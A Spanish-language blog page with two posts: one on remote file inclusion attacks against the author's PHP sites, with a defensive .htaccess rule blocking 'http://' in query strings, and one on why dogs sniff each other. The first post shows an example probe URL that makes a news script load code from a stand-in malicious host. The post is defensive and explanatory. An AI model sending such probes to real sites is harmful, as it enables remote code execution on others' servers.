Clasificadas como 'General'

15/10: contra los injection attacks

En las últimas semanas un par de sitios web de los que estoy encargado han venido sufriendo este tipo de ataques. Si no estan familiarizados con ellos se trata simplemente de enviar peticiones en busca de scripts (php, jsp, etc) inseguros en busca de que alguno de elllos ejecute el código que se quiere inyectar desde otra web. Es decir:

Web que contiene el script que pretende ejecutarse en nuestro servidor
http://www.maligno.com/codigo.txt

Web con un administrador de contenidos sierviendo noticias inocentemente
http://www.miweb.com/noticias.php?id=2

Metodo de tanteo (Queda registrado en los logs de acceso al servidor)
http://www.miweb.com/noticias.php?id=http://www.maligno.com/codigo.txt?

No soy muy bueno con las expresiones regulares pero se me ocurrio que la forma más sencilla de acabar con esto era a través de nuestro buen “htaccess”. Esta instrucción busca en el QUERY_STRING el “http” y si lo encuentra redirecciona la petición, en este caso a la entrada en wikipedia sobre los injection attacks.


#los http:// en el query string no estan permitidos
RewriteCond %{QUERY_STRING} ^(.*)http://(.*)$
RewriteRule ^(.*)$ http://en.wikipedia.org/wiki/Code_injection [L,R]

jehobi GeneralInternet Añadir comentario

08/05: ¿Por qué los perros se huelen mutuamente?

Inauguro sección en el blog. A partir de este post y de cuando en cuando voy a ‘tratar’ de traducir de “Ask Yahoo”, las preguntas y respuestas que se me hagan más interesantes.

Siempre supuse que la olfateada canina tenía fines meramente ’sentimentales’ pero al parecer significa mucho más que eso en la comunidad canina. La nariz canina funciona un millón de veces mejor que la humana, un perro no usa su olfato únicamente para saber si le gusta lo que mamá esta sirviendo de cena, según parece, una olfateada al trasero de otro perro le dice al buen firulais una serie de cosas como, que ha comido el can en cuestión, su estado general de salud o (en caso de ser hembra) si esta embarazada.

Los perros también usan sus talentos olfativos para entender a sus dueños humanos, con una olfateada un perro puede saber donde haz estado, que estuviste haciendo, que comiste e incluso saber si no te sientes del todo bien, ¿demasiada información? ¿menos mal que están de nuestro lado verdad?.

En conclusión, las olfateadas representan su forma de presentarse y conocerse mutuamente, claro que más allá de su aparente eficiencia como método de presentación, creo que los humanos debemos quedarnos con el buen y viejo apretón de manos.
vía ask Yahoo

jehobi GeneralOtros 4 comentarios